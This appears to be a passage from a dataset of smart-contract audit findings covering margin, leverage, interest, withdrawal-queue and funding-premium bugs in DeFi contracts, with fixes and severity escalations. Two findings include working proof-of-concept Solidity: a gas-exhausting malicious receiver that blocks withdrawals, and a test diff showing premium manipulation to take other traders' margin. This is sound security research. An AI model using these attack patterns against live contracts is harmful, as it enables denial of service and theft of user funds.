`reduce_position` function decrease the margin amount of the position but doesn't add it back to the user's margin mapping, making it impossible to withdraw the margin.\\nAfter selling some position tokens back against debt tokens using `reduce_position` function, `debt_shares` and `margin_amount` are reduced proportionally to keep leverage the same as before:\\nVault.vy#L313-L330\\n```\\ndebt_amount: uint256 = self._debt(_position_uid)\\n margin_debt_ratio: uint256 = position.margin_amount * PRECISION / debt_amount\\n\\n\\n amount_out_received: uint256 = self._swap(\\n position.position_token, position.debt_token, _reduce_by_amount, min_amount_out\\n )\\n\\n\\n # reduce margin and debt, keep leverage as before\\n reduce_margin_by_amount: uint256 = (\\n amount_out_received * margin_debt_ratio / PRECISION\\n )\\n reduce_debt_by_amount: uint256 = amount_out_received - reduce_margin_by_amount\\n\\n\\n position.margin_amount -= reduce_margin_by_amount\\n\\n\\n burnt_debt_shares: uint256 = self._repay(position.debt_token, reduce_debt_by_amount)\\n position.debt_shares -= burnt_debt_shares\\n position.position_amount -= _reduce_by_amount\\n```\\n\\nHowever, even though some of the margin have been paid back (position.margin_amount has been reduced), `self.margin[position.account][position.debt_token]` mapping hasn't been updated by adding `reduce_margin_by_amount` which would allow the user to withdraw his margin.
Consider modifying the code like this:\\n```\\n reduce_debt_by_amount: uint256 = amount_out_received - reduce_margin_by_amount\\n\\n\\n position.margin_amount -= reduce_margin_by_amount\\n+ self.margin[position.account][position.debt_token] += reduce_margin_by_amount\\n\\n burnt_debt_shares: uint256 = self._repay(position.debt_token, reduce_debt_by_amount)\\n position.debt_shares -= burnt_debt_shares\\n position.position_amount -= _reduce_by_amount\\n```\\n
Users will lose their margin tokens.
```\\ndebt_amount: uint256 = self._debt(_position_uid)\\n margin_debt_ratio: uint256 = position.margin_amount * PRECISION / debt_amount\\n\\n\\n amount_out_received: uint256 = self._swap(\\n position.position_token, position.debt_token, _reduce_by_amount, min_amount_out\\n )\\n\\n\\n # reduce margin and debt, keep leverage as before\\n reduce_margin_by_amount: uint256 = (\\n amount_out_received * margin_debt_ratio / PRECISION\\n )\\n reduce_debt_by_amount: uint256 = amount_out_received - reduce_margin_by_amount\\n\\n\\n position.margin_amount -= reduce_margin_by_amount\\n\\n\\n burnt_debt_shares: uint256 = self._repay(position.debt_token, reduce_debt_by_amount)\\n position.debt_shares -= burnt_debt_shares\\n position.position_amount -= _reduce_by_amount\\n```\\n
Leverage calculation is wrong
high
Leverage calculation is wrong which will lead to unfair liquidations or over leveraged positions depending on price movements.\\n`_calculate_leverage` miscalculate the leverage by using `_debt_value + _margin_value` as numerator instead of `_position_value` :\\nVault.vy#L465-L477\\n```\\ndef _calculate_leverage(\\n _position_value: uint256, _debt_value: uint256, _margin_value: uint256\\n) -> uint256:\\n if _position_value <= _debt_value:\\n # bad debt\\n return max_value(uint256)\\n\\n\\n return (\\n PRECISION\\n * (_debt_value + _margin_value)\\n / (_position_value - _debt_value)\\n / PRECISION\\n )\\n```\\n\\nThe three inputs of the function `_position_value`, `_debt_value` and `_margin_value` are all determined by a chainlink oracle price feed. `_debt_value` represents the value of the position's debt share converted to debt amount in USD. `_margin_value` represents the current value of the position's initial margin amount in USD. `_position_value` represents the current value of the position's initial position amount in USD.\\nThe problem with the above calculation is that `_debt_value + _margin_value` does not represent the value of the position. The leverage is the ratio between the current value of the position and the current margin value. `_position_value - _debt_value` is correct and is the current margin value, but `_debt_value + _margin_value` doesn't represent the current value of the position since there is no guarantee that the debt token and the position token have correlated price movements.\\nExample: debt token: ETH, position token: BTC.\\nAlice uses 1 ETH of margin to borrow 14 ETH (2k USD/ETH) and get 1 BTC (30k USD/BTC) of position token. Leverage is 14.\\nThe next day, the price of ETH in USD is still 2k USD/ETH but BTC price in USD went down from 30k to 29k USD/BTC. Leverage is now (_position_value == 29k) / (_position_value == 29k - _debt_value == 28k) = 29, instead of what is calculated in the contract: (_debt_value == 28k + _margin_value == 2k) / (_position_value == 29k - _debt_value == 28k) = 30.
Consider modifying the code like this:\\n```\\ndef _calculate_leverage(\\n _position_value: uint256, _debt_value: uint256, _margin_value: uint256\\n) -> uint256:\\n if _position_value <= _debt_value:\\n # bad debt\\n return max_value(uint256)\\n\\n\\n return (\\n PRECISION\\n- * (_debt_value + _margin_value)\\n+ * (_position_value)\\n / (_position_value - _debt_value)\\n / PRECISION\\n )\\n```\\n\\nEscalate for 10 USDC. My report shows why the current used formula is wrong as it does not take into account that debt tokens and position tokens are not necessarily tokens with correlated prices. The duplicate #100 shows in another way that the formula fail to calculate the leverage of a position correctly. The impact is the same, but my report highlight `_debt_value + _margin_value != _position_value`, the same way that the debt against a house is not equal to the market value of this house (also described in another way in #156). The definition of leverage used in the code is not correct and will lead to unfair liquidations or over leveraged positions, which is definitely high severity.\\nUnexpected and unfair liquidation could cause loss to users. Since the issue roots from the formula, the loss could be long term, result in accumulated fund loss for users, can can be deemed as "material loss of funds".\\nBased on the above, high severity might be appropriate.\\nUnstoppable-DeFi\\nhrishibhat\\n@Unstoppable-DeFi based on the above escalation it seems to be a high issue. Is there any other reason this should not be a high-severity issue?\\nhrishibhat\\nResult: High Has duplicates Considering this issue a valid high\\nsherlock-admin2\\nEscalations have been resolved successfully!\\nEscalation status:\\ntwicek: accepted
Leverage calculation is wrong which will lead to unfair liquidations or over leveraged positions depending on price movements.
```\\ndef _calculate_leverage(\\n _position_value: uint256, _debt_value: uint256, _margin_value: uint256\\n) -> uint256:\\n if _position_value <= _debt_value:\\n # bad debt\\n return max_value(uint256)\\n\\n\\n return (\\n PRECISION\\n * (_debt_value + _margin_value)\\n / (_position_value - _debt_value)\\n / PRECISION\\n )\\n```\\n
Interested calculated is ampliefied by multiple of 1000 in `_debt_interest_since_last_update`
high
Interest calculated in the `_debt_interest_since_last_update` function is amplified by multiple of 1000, hence can completely brick the system and debt calculation. Because we divide by PERCENTAGE_BASE instead of PERCENTAGE_BASE_HIGH which has more precision and which is used in utilization calculation.\\nFollowing function calculated the interest accured over a certain interval :\\n```\\ndef _debt_interest_since_last_update(_debt_token: address) -> uint256:\\n\\n return (\\n\\n (block.timestamp - self.last_debt_update[_debt_token])* self._current_interest_per_second(_debt_token)\\n * self.total_debt_amount[_debt_token]\\n / PERCENTAGE_BASE \\n / PRECISION\\n )\\n```\\n\\nBut the results from the above function are amplified by factor of 1000 due to the reason that the intrest per second as per test file is calculated as following:\\n```\\n # accordingly the current interest per year should be 3% so 3_00_000\\n # per second that is (300000*10^18)/(365*24*60*60)\\n expected_interest_per_second = 9512937595129375\\n\\n assert (\\n expected_interest_per_second\\n == vault_configured.internal._current_interest_per_second(usdc.address)\\n )\\n```\\n\\nSo yearly interest has the precision of 5 as it is calculated using utilization rate and `PERCENTAGE_BASE_HIGH_PRECISION` is used which has precision of 5 .and per second has the precision of 18, so final value has the precision of 23.\\nInterest per second has precision = 23.\\nBut if we look at the code:\\n```\\n (block.timestamp - self.last_debt_update[_debt_token])* self._current_interest_per_second(_debt_token)\\n * self.total_debt_amount[_debt_token]\\n / PERCENTAGE_BASE \\n / PRECISION\\n```\\n\\nWe divide by PERCENTAGE_BASE that is = 100_00 = precision of => 2 And than by PRECISION = 1e18 => precision of 18. So accumulated precision of 20, where as we should have divided by value precises to 23 to match the nominator.\\nWhere is we should have divided by PERCENTAGE_BASE_HIGH instead of PERCENTAGE_BASE\\nHence the results are amplified by enormous multiple of thousand.
Use PERCENTAGE_BASE_HIGH in division instead of PERCENTAGE_BASE.\\nEscalate for 10 USDC\\nThis should be high as described impact in the given submission and the duplicate too.\\nA magnitude of 1000 times of interest can be deemed as "material loss of funds".\\n141345\\nEscalate for 10 USDC The wrong calculation of interest rates will cause a direct loss of funds to users. This should definitely be high severity.\\nSame as above\\nhrishibhat\\nResult: High Has duplicates Considering this a valid high\\nsherlock-admin2\\nEscalations have been resolved successfully!\\nEscalation status:\\nNabeel-javaid: accepted\\ntwicek: accepted
Interest are too much amplified, that impacts the total debt calculation and brick whole leverage, liquidation and share mechanism.\\nNote: Dev confirmed that the values being used in the tests are the values that will be used in production.
```\\ndef _debt_interest_since_last_update(_debt_token: address) -> uint256:\\n\\n return (\\n\\n (block.timestamp - self.last_debt_update[_debt_token])* self._current_interest_per_second(_debt_token)\\n * self.total_debt_amount[_debt_token]\\n / PERCENTAGE_BASE \\n / PRECISION\\n )\\n```\\n
Hedgers are not incentivized to respond to user's closing requests
medium
Hedgers could intentionally force the users to close the positions themselves via the `forceClosePosition` and charge a spread to earn more, which results in the users closing at a worse price, leading to a loss of profit for them.\\nHow `fillCloseRequest` function works?\\nFor a Long position, when PartyB (Hedger) calls the `fillCloseRequest` function to fill a close position under normal circumstances, the hedger cannot charge a spread because the hedger has to close at the user's requested close price (quote.requestedClosePrice),\\nIf the hedger decides to close at a higher price, it is permissible by the function, but the hedger will lose more, and the users will gain more because the users' profit is computed based on `long profit = closing price - opening price`.\\nUnder normal circumstances, most users will set the requested close price (quote.requestedClosePrice) close to the market price most of the time.\\nIn short, the `fillCloseRequest` function requires the hedger to match or exceed the user' requested price. The hedger cannot close at a price below the user's requested price in order to charge a spread.\\n```\\nfunction fillCloseRequest(\\n..SNIP..\\n if (quote.positionType == PositionType.LONG) {\\n require(\\n closedPrice >= quote.requestedClosePrice,\\n "PartyBFacet: Closed price isn't valid"\\n )\\n```\\n\\nHow `forceClosePosition` function works?\\nFor a Long position, the `forceCloseGapRatio` will allow the hedger to charge a spread from the user's requested price (quote.requestedClosePrice) when the user (PartyA) attempts to force close the position.\\nThe `upnlSig.price` is the market price and `quote.requestedClosePrice` is the price users ask to close at. By having the `forceCloseGapRatio`, assuming that `forceCloseGapRatio` is 5%, this will create a spread between the two prices (upnlSig.price and quote.requestedClosePrice) that represent a cost that the users (PartyA) need to "pay" in order to force close a position.\\n```\\nfunction forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n..SNIP..\\n if (quote.positionType == PositionType.LONG) {\\n require(\\n upnlSig.price >=\\n quote.requestedClosePrice +\\n (quote.requestedClosePrice * maLayout.forceCloseGapRatio) /\\n 1e18,\\n "PartyAFacet: Requested close price not reached"\\n );\\n ..SNIP..\\n LibQuote.closeQuote(quote, filledAmount, quote.requestedClosePrice);\\n```\\n\\nIssue with current design\\nAssume a hedger ignores the user's close request. In this case, the users (PartyA) have to call the `forceClosePosition` function by themselves to close the position and pay a spread.\\nThe hedgers can abuse this mechanic to their benefit. Assuming the users (PartyA) ask to close a LONG position at a fair value, and the hedgers respond by calling the `fillCloseRequest` to close it. In this case, the hedgers won't be able to charge a spread because the hedgers are forced to close at a price equal to or higher than the user's asking closing price (quote.requestedClosePrice).\\nHowever, if the hedger chooses to ignore the user's close request, this will force the user to call the `forceClosePosition,` and the user will have to pay a spread to the hedgers due to the gap ratio. In this case, the hedgers will benefit more due to the spread.\\nIn the long run, the hedgers will be incentivized to ignore users' close requests.
Hedgers should not be entitled to charge a spread within the `forceClosePosition` function because some hedgers might intentionally choose not to respond to user requests in order to force the users to close the position themselves. In addition, hedgers are incentivized to force users to close the position themselves as the `forceClosePosition` function allows them the charge a spread.\\nWithin the `forceClosePosition` function, consider removing the gap ratio to remove the spread and fill the position at the market price (upnlSig.price).\\n```\\n function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n..SNIP..\\n if (quote.positionType == PositionType.LONG) {\\n require(\\n upnlSig.price >=\\n// Add the line below\\n quote.requestedClosePrice, \\n// Remove the line below\\n quote.requestedClosePrice // Add the line below\\n\\n// Remove the line below\\n (quote.requestedClosePrice * maLayout.forceCloseGapRatio) /\\n// Remove the line below\\n 1e18,\\n "PartyAFacet: Requested close price not reached"\\n );\\n } else {\\n require(\\n upnlSig.price <=\\n// Add the line below\\n quote.requestedClosePrice,\\n// Remove the line below\\n quote.requestedClosePrice // Remove the line below\\n\\n// Remove the line below\\n (quote.requestedClosePrice * maLayout.forceCloseGapRatio) /\\n// Remove the line below\\n 1e18,\\n "PartyAFacet: Requested close price not reached"\\n );\\n }\\n..SNIP..\\n// Remove the line below\\n LibQuote.closeQuote(quote, filledAmount, quote.requestedClosePrice);\\n// Add the line below\\n LibQuote.closeQuote(quote, filledAmount, upnlSig.price);\\n }\\n```\\n\\nFor long-term improvement to the protocol, assuming that the user's requested price is of fair value:\\nHedger should be penalized for not responding to the user's closing request in a timely manner; OR\\nHegder should be incentivized to respond to the user's closing request. For instance, they are entitled to charge a spread if they respond to user closing requests.
The hedgers will be incentivized to ignore users' close requests, resulting in the users having to wait for the cooldown before being able to force close a position themselves. The time spent waiting could potentially lead to a loss of opportunity cost for the users.\\nIn addition, hedgers could intentionally force the users to close the positions themselves via the `forceClosePosition` and charge a spread to earn more, which results in the users closing at a worse price, leading to a loss of profit for them.
```\\nfunction fillCloseRequest(\\n..SNIP..\\n if (quote.positionType == PositionType.LONG) {\\n require(\\n closedPrice >= quote.requestedClosePrice,\\n "PartyBFacet: Closed price isn't valid"\\n )\\n```\\n
ProcessWithdrawals is still DOS-able
high
DOS on process withdrawals were reported in the previous code4rena audit however the fix does not actually stop DOS, it only makes it more expensive. There is a much cheaper way to DOS the withdrawal queue - that is by specifying the `usr` to be a smart contract that consumes all the gas.\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.9;\\nimport "./Utils.sol";\\n\\ncontract MaliciousReceiver {\\n uint256 public gas;\\n receive() payable external {\\n gas = gasleft();\\n for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.\\n }\\n}\\n\\ncontract VUSDWithReceiveTest is Utils {\\n event WithdrawalFailed(address indexed trader, uint amount, bytes data);\\n\\n function setUp() public {\\n setupContracts();\\n }\\n\\n function test_CannotProcessWithdrawals(uint128 amount) public {\\n MaliciousReceiver r = new MaliciousReceiver();\\n\\n vm.assume(amount >= 5e6);\\n // mint vusd for this contract\\n mintVusd(address(this), amount);\\n // alice and bob also mint vusd\\n mintVusd(alice, amount);\\n mintVusd(bob, amount);\\n\\n // withdraw husd\\n husd.withdraw(amount); // first withdraw in the array\\n vm.prank(alice);\\n husd.withdraw(amount);\\n vm.prank(bob); // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract\\n husd.withdrawTo(address(r), amount);\\n\\n assertEq(husd.withdrawalQLength(), 3);\\n assertEq(husd.start(), 0);\\n\\n husd.processWithdrawals(); // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. \\n\\n uint256 ethereumSoftGasLimit = 30_000_000;\\n assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. \\n }\\n\\n receive() payable external {\\n assertEq(msg.sender, address(husd));\\n }\\n}\\n```\\n\\nCopy and paste this file into the test/foundry folder and run it.\\nThe test will not fail because foundry has a very high gas limit but you can see from the test that the amount of gas that was recorded in the malicious contract is higher than 30m (which is the current gas limit on ethereum). If you ran the test by specifying the —gas-limit i.e. `forge test -vvv --match-path test/foundry/VUSDRevert.t.sol --gas-limit 30000000` The test will fail with `Reason: EvmError: OutOfGas` because there is not enough gas to transfer to the malicious contract to run 150k iterations.
From best recommendation to worst\\nRemove the queue and `withdraw` the assets immediately when `withdraw` is called.\\nAllow users to process withdrawals by specifying the index index\\nAllow the admin to remove these bad withdrawals from the queue\\nAllow the admin to adjust the start position to skip these bad withdrawals.
Users will lose their funds and have their VUSD burnt forever because nobody is able to process any withdrawals.
```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity 0.8.9;\\nimport "./Utils.sol";\\n\\ncontract MaliciousReceiver {\\n uint256 public gas;\\n receive() payable external {\\n gas = gasleft();\\n for(uint256 i = 0; i < 150000; i++) {} // 140k iteration uses about 28m gas. 150k uses slightly over 30m.\\n }\\n}\\n\\ncontract VUSDWithReceiveTest is Utils {\\n event WithdrawalFailed(address indexed trader, uint amount, bytes data);\\n\\n function setUp() public {\\n setupContracts();\\n }\\n\\n function test_CannotProcessWithdrawals(uint128 amount) public {\\n MaliciousReceiver r = new MaliciousReceiver();\\n\\n vm.assume(amount >= 5e6);\\n // mint vusd for this contract\\n mintVusd(address(this), amount);\\n // alice and bob also mint vusd\\n mintVusd(alice, amount);\\n mintVusd(bob, amount);\\n\\n // withdraw husd\\n husd.withdraw(amount); // first withdraw in the array\\n vm.prank(alice);\\n husd.withdraw(amount);\\n vm.prank(bob); // Bob is the malicious user and he wants to withdraw the VUSD to his smart contract\\n husd.withdrawTo(address(r), amount);\\n\\n assertEq(husd.withdrawalQLength(), 3);\\n assertEq(husd.start(), 0);\\n\\n husd.processWithdrawals(); // This doesn't fail on foundry because foundry's gas limit is way higher than ethereum's. \\n\\n uint256 ethereumSoftGasLimit = 30_000_000;\\n assertGt(r.gas(), ethereumSoftGasLimit); // You can only transfer at most 63/64 gas to an external call and the fact that the recorded amt of gas is > 30m shows that processWithdrawals will always revert when called on mainnet. \\n }\\n\\n receive() payable external {\\n assertEq(msg.sender, address(husd));\\n }\\n}\\n```\\n
Failed withdrawals from VUSD#processWithdrawals will be lost forever
high
When withdrawals fail inside VUSD#processWithdrawals they are permanently passed over and cannot be retried. The result is that any failed withdrawal will be lost forever.\\nVUSD.sol#L75-L81\\n```\\n (bool success, bytes memory data) = withdrawal.usr.call{value: withdrawal.amount}("");\\n if (success) {\\n reserve -= withdrawal.amount;\\n } else {\\n emit WithdrawalFailed(withdrawal.usr, withdrawal.amount, data);\\n }\\n i += 1;\\n```\\n\\nIf the call to withdrawal.usr fails the contract will simply emit an event and continue on with its cycle. Since there is no way to retry withdrawals, these funds will be permanently lost.
Cache failed withdrawals and allow them to be retried or simply send VUSD to the user if it fails.
Withdrawals that fail will be permanently locked
```\\n (bool success, bytes memory data) = withdrawal.usr.call{value: withdrawal.amount}("");\\n if (success) {\\n reserve -= withdrawal.amount;\\n } else {\\n emit WithdrawalFailed(withdrawal.usr, withdrawal.amount, data);\\n }\\n i += 1;\\n```\\n
Malicious user can frontrun withdrawals from Insurance Fund to significantly decrease value of shares
medium
When a user withdraws from the insurance fund, the value of their shares is calculated based on the balance of vUSD in the fund. Another user could deliberately frontrun (or frontrun by chance) the withdrawal with a call to `settleBadDebt` to significantly reduce the vUSD returned from the withdrawal with the same number of shares.\\nWhen a user wants to `withdraw` from the insurance pool they have to go through a 2 step withdrawal process. First they need to unbond their shares, and then they have to wait for the pre-determined unbonding period before they can `withdraw` the vUSD their shares are worth by calling `withdraw`.\\nWhen a user calls `withdraw` the amount of vUSD to redeem is calculated as:\\n```\\namount = balance() * shares / totalSupply();\\n```\\n\\nwhere `balance()` is the balance of vUSD in the contract and `totalSupply()` is the total supply of share tokens. Therefore, if the balance of vUSD in the contract were to decrease, then the amount of vUSD redeemed from the same number of shares would decrease as a result.\\nThis occurs when a trader's bad debt is settled when calling `settleBadDebt` in `MarginAccount.sol` as this calls `insuranceFund.seizeBadDebt` under the hood, which in turn calls `settlePendingObligation` which transfers vUSD out of the insurance fund to the margin account:\\n```\\nvusd.safeTransfer(marginAccount, toTransfer);\\n```\\n\\nThe result is now that the balance of vUSD in the insurance fund is lower and thus the shares are worth less vUSD as a consequence.
One option would be to include a slippage parameter on the `withdraw` and `withdrawFor` methods so that the user redeeming shares can specify the minimum amount of vUSD they would accept for their shares.\\nWhen depositing into the insurance fund, the number of shares to mint is actually calculated based on the total value of the pool (value of vUSD and all other collateral assets). Therefore, the withdraw logic could also use `_totalPoolValue` instead of `balance()` to get a "true" value per share, however this could lead to withdrawals failing while assets are up for auction. Assuming all the assets are expected to be sold within the short 2 hour auction duration, this is probably the better solution given the pricing is more accurate, but it depends if users would accept failed withdrawals for short periods of time.
A user withdrawing from the insurance fund could receive significantly less (potentially 0) vUSD when finalising their withdrawal.
```\\namount = balance() * shares / totalSupply();\\n```\\n
min withdraw of 5 VUSD is not enough to prevent DOS via VUSD.sol#withdraw(amount)
medium
A vulnerability exists where a malicious user spam the contract with numerous withdrawal requests (e.g., 5,000). This would mean that genuine users who wish to withdraw their funds may find themselves unable to do so in a timely manner because the processing of their withdrawals could be delayed significantly.\\nThe issue stems from the fact that there is no restriction on the number of withdrawal requests a single address can make. A malicious actor could repeatedly call the withdraw or withdrawTo function, each time with a small amount (min 5 VUSD), to clog the queue with their withdrawal requests.\\n```\\n //E Burn vusd from msg.sender and queue the withdrawal to "to" address\\n function _withdrawTo(address to, uint amount) internal {\\n //E check min amount\\n require(amount >= 5 * (10 ** 6), "min withdraw is 5 vusd"); //E @audit-info not enough to prevent grief\\n //E burn this amount from msg.sender\\n burn(amount); // burn vusd from msg.sender\\n //E push \\n withdrawals.push(Withdrawal(to, amount * 1e12));\\n }\\n```\\n\\nGiven the maxWithdrawalProcesses is set to 100, and the withdrawal processing function processWithdrawals doesn't have any parameter to process from a specific index in the queue, only the first 100 requests in the queue would be processed at a time.\\n```\\n uint public maxWithdrawalProcesses = 100;\\n //E create array of future withdrawal that will be executed to return\\n function withdrawalQueue() external view returns(Withdrawal[] memory queue) {\\n //E check if more than 100 requests in withdrawals array\\n uint l = _min(withdrawals.length-start, maxWithdrawalProcesses);\\n queue = new Withdrawal[](l);\\n\\n for (uint i = 0; i < l; i++) {\\n queue[i] = withdrawals[start+i];\\n }\\n }\\n```\\n\\nIn the case of an attack, the first 100 withdrawal requests could be those of the attacker, meaning that the genuine users' requests would be stuck in the queue until all of the attacker's requests have been processed. Moreover the fact that we can only withdraw up to 1 day long when our withdraw request is good to go.
Either limit number of withdrawal requests per address could be a first layer of defense even if it's not enough but I don't see the point why this limit is included so removing it could mitigate this. Otherwise you could implement a priority queue regarding amount to be withdrawn
This could result in significant delays for genuine users wanting to withdraw their funds, undermining the contract's usability and users' trust in the platform.
```\\n //E Burn vusd from msg.sender and queue the withdrawal to "to" address\\n function _withdrawTo(address to, uint amount) internal {\\n //E check min amount\\n require(amount >= 5 * (10 ** 6), "min withdraw is 5 vusd"); //E @audit-info not enough to prevent grief\\n //E burn this amount from msg.sender\\n burn(amount); // burn vusd from msg.sender\\n //E push \\n withdrawals.push(Withdrawal(to, amount * 1e12));\\n }\\n```\\n
Malicious user can control premium emissions to steal margin from other traders
medium
A malicious user can force premiums to be applied in a positive direction for their positions. They can effectively steal margin from other traders that have filled the other side of their positions.\\nThis vulnerability stems from how the premiums are calculated when `settleFunding` is called in AMM.sol:\\n```\\nint256 premium = getMarkPriceTwap() - underlyingPrice;\\n```\\n\\nEffectively, the premium for a position is calculated based on the difference between the perpetual maker TWAP and the oracle TWAP. Under the hood, `getMarkPriceTwap` calls `_calcTwap`, which calculates the TWAP price from the last hour to the current block timestamp:\\n```\\n uint256 currentPeriodStart = (_blockTimestamp() / spotPriceTwapInterval) * spotPriceTwapInterval;\\n uint256 lastPeriodStart = currentPeriodStart - spotPriceTwapInterval;\\n\\n // If there is no trade in the last period, return the last trade price\\n if (markPriceTwapData.lastTimestamp <= lastPeriodStart) {\\n return markPriceTwapData.lastPrice;\\n }\\n\\n /**\\n * check if there is any trade after currentPeriodStart\\n * since this function will not be called before the nextFundingTime,\\n * we can use the lastPeriodAccumulator to calculate the twap if there is a trade after currentPeriodStart\\n */\\n if (markPriceTwapData.lastTimestamp >= currentPeriodStart) {\\n // use the lastPeriodAccumulator to calculate the twap\\n twap = markPriceTwapData.lastPeriodAccumulator / spotPriceTwapInterval;\\n } else {\\n // use the accumulator to calculate the twap\\n uint256 currentAccumulator = markPriceTwapData.accumulator + (currentPeriodStart - markPriceTwapData.lastTimestamp) * markPriceTwapData.lastPrice;\\n twap = currentAccumulator / spotPriceTwapInterval;\\n }\\n```\\n\\nThis method works closely in conjunction with `_updateTWAP` which is called every time a new position is opened based on the fill price. I'll talk more about his in the "Recommendation" section, but the core issue is that too much weight is placed on the last price that was filled, along with the fact the user can open uncapped positions. As can be seen from the `_calcTwap` method above, if there has not been a recently opened position, then the TWAP is determined as the last filled price. And naturally, a time weighted price isn't weighted by the size of a fill as well, so the size of the last fill has no impact.\\nAs a result of this, a malicious user can place orders (which should then be executed by the validators) at a price that maximises the difference between the market TWAP and the oracle TWAP in order to maximise the premiums generated in the market. If the malicious user opens up a large enough position, the premiums generated exceed the taker/maker fees for opening positions. And since the same user can place orders for both sides of the market, they do not need to increase their margin requirement over time in order to meet the minimum margin requirements. Effectively the user is able to generate free revenue assuming the price of the underlying asset doesn't significantly deviate in the opposite direction of the large position held by the user.\\nBelow is a diff to the existing test suite with a test case that shows how a malicious user could control premiums to make a profit. It can be run with forge test -vvv --match-path test/foundry/OrderBook.t.sol:\\n```\\ndiff --git a/hubble-protocol/test/foundry/OrderBook.t.sol b/hubble-protocol/test/foundry/OrderBook.t.sol\\nindex b4dafdf..f5d36b2 100644\\n--- a/hubble-protocol/test/foundry/OrderBook.t.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/hubble-protocol/test/foundry/OrderBook.t.sol\\n@@ -228,6 // Add the line below\\n228,60 @@ contract OrderBookTests is Utils {\\n assertPositions(bob, -size, quote, 0, quote * 1e18 / stdMath.abs(size));\\n }\\n \\n// Add the line below\\n function testUserCanControlEmissions() public {\\n// Add the line below\\n uint256 price = 1e6;\\n// Add the line below\\n oracle.setUnderlyingPrice(address(wavax), int(uint(price)));\\n// Add the line below\\n\\n// Add the line below\\n // Calculate how much margin required for 100x MIN_SIZE\\n// Add the line below\\n uint256 marginRequired = orderBook.getRequiredMargin(100 * MIN_SIZE, price) * 1e18 / uint(defaultWethPrice) // Add the line below\\n 1e10; // required weth margin in 1e18, add 1e10 for any precision loss\\n// Add the line below\\n \\n// Add the line below\\n // Let's say Alice is our malicious user, and Bob is a normal user\\n// Add the line below\\n addMargin(alice, marginRequired, 1, address(weth));\\n// Add the line below\\n addMargin(bob, marginRequired, 1, address(weth));\\n// Add the line below\\n\\n// Add the line below\\n // Alice places a large legitimate long order that is matched with a short order from Bob\\n// Add the line below\\n placeAndExecuteOrder(0, aliceKey, bobKey, MIN_SIZE * 90, price, true, false, MIN_SIZE * 90, false);\\n// Add the line below\\n\\n// Add the line below\\n // Alice's free margin is now pretty low\\n// Add the line below\\n int256 availabeMargin = marginAccount.getAvailableMargin(alice);\\n// Add the line below\\n assertApproxEqRel(availabeMargin, 200410, 0.1e18); // Assert within 10%\\n// Add the line below\\n\\n// Add the line below\\n // Calculate what's the least we could fill an order for given the oracle price\\n// Add the line below\\n uint256 spreadLimit = amm.maxOracleSpreadRatio();\\n// Add the line below\\n uint minPrice = price * (1e6 - spreadLimit) / 1e6;\\n// Add the line below\\n\\n// Add the line below\\n // Alice can fill both sides of an order at the minimum fill price calculated above, with the minimum size\\n// Add the line below\\n // Alice would place such orders (and hopefully have them executed) just after anyone else makes an order in a period (1 hour)\\n// Add the line below\\n // The goal for Alice is to keep the perpetual TWAP as low as possible vs the oracle TWAP (since she holds a large long position)\\n// Add the line below\\n // In quiet market conditions Alice just has to make sure she's the last person to fill\\n// Add the line below\\n // In busy market conditions Alice would fill an order immediately after anyone else fills an order\\n// Add the line below\\n // In this test Alice fills an order every 2 periods, but in reality, if nobody was trading then Alice wouldn't have to do anything provided she was the last filler\\n// Add the line below\\n for (uint i = 0; i < 100; i// Add the line below\\n// Add the line below\\n) {\\n// Add the line below\\n uint256 currentPeriodStart = (block.timestamp / 1 hours) * 1 hours;\\n// Add the line below\\n\\n// Add the line below\\n // Warp to before the end of the period\\n// Add the line below\\n vm.warp(currentPeriodStart // Add the line below\\n 3590);\\n// Add the line below\\n \\n// Add the line below\\n // Place and execute both sides of an order as Alice\\n// Add the line below\\n // Alice can do this because once both sides of the order are executed, the effect to her free margin is 0\\n// Add the line below\\n // As mentioned above, Alice would place such orders every time after another order is executed\\n// Add the line below\\n placeAndExecuteOrder(0, aliceKey, aliceKey, MIN_SIZE, minPrice, true, false, MIN_SIZE, false);\\n// Add the line below\\n \\n// Add the line below\\n // Warp to the start of the next period\\n// Add the line below\\n vm.warp(currentPeriodStart // Add the line below\\n (3600 * 2) // Add the line below\\n 10);\\n// Add the line below\\n \\n// Add the line below\\n // Funding is settled. This calculates the premium emissions by comparing the perpetual twap with the oracle twap\\n// Add the line below\\n orderBook.settleFunding();\\n// Add the line below\\n }\\n// Add the line below\\n\\n// Add the line below\\n // Alice's margin is now significantly higher (after just 200 hours) because she's been pushing the premiums in her direction\\n// Add the line below\\n availabeMargin = marginAccount.getAvailableMargin(alice);\\n// Add the line below\\n assertApproxEqRel(availabeMargin, 716442910, 0.1e18); // Assert within 10%\\n// Add the line below\\n\\n// Add the line below\\n }\\n// Add the line below\\n\\n function testLiquidateAndExecuteOrder(uint64 price, uint120 size_) public {\\n vm.assume(price > 10 && size_ != 0);\\n oracle.setUnderlyingPrice(address(wavax), int(uint(price)));\\n```\\n
I originally thought the best way to mitigate this kind of attack is to scale the TWAP calculation based on the filled amount vs the total fill amount of the whole market. However the downside with this approach is that the fill amount will perpetually increase (given it's a perpetual market after all!) and so the market TWAP deviations from the oracle TWAP would decrease and so the premium emissions would also decrease over time. This could be argued as a feature in that early users receive a larger premium than later users.\\nUpon further thought I think the best way to prevent this kind of attack is simply to disincentivise the malicious user from doing so; by making this a net-loss situation. This can be done with a combination of the following:\\nIncreasing minimum order size\\nIncreasing trader/maker fees\\nIntroducing another fixed fee per order (rather than only variable rate fees)\\nCapping the maximum position size (both long and short)\\nReducing the maximum price deviation of fill prices from oracle price\\nIncreasing the minimum margin requirements\\nThis will vary per perpetual market, but the key thing that needs to be accomplished is that the cost to a user to place orders to control the market TWAP is greater than the premium that can be obtained from their position. This will also require some estimates as to how frequently users are going to be placing orders. If orders are relatively infrequent then increasing the TWAP calculation from 1 hour will also help with this.\\nIt is also worth considering whether the following lines in `_calcTwap` are overly weighted towards the last fill price:\\n```\\n // If there is no trade in the last period, return the last trade price\\n if 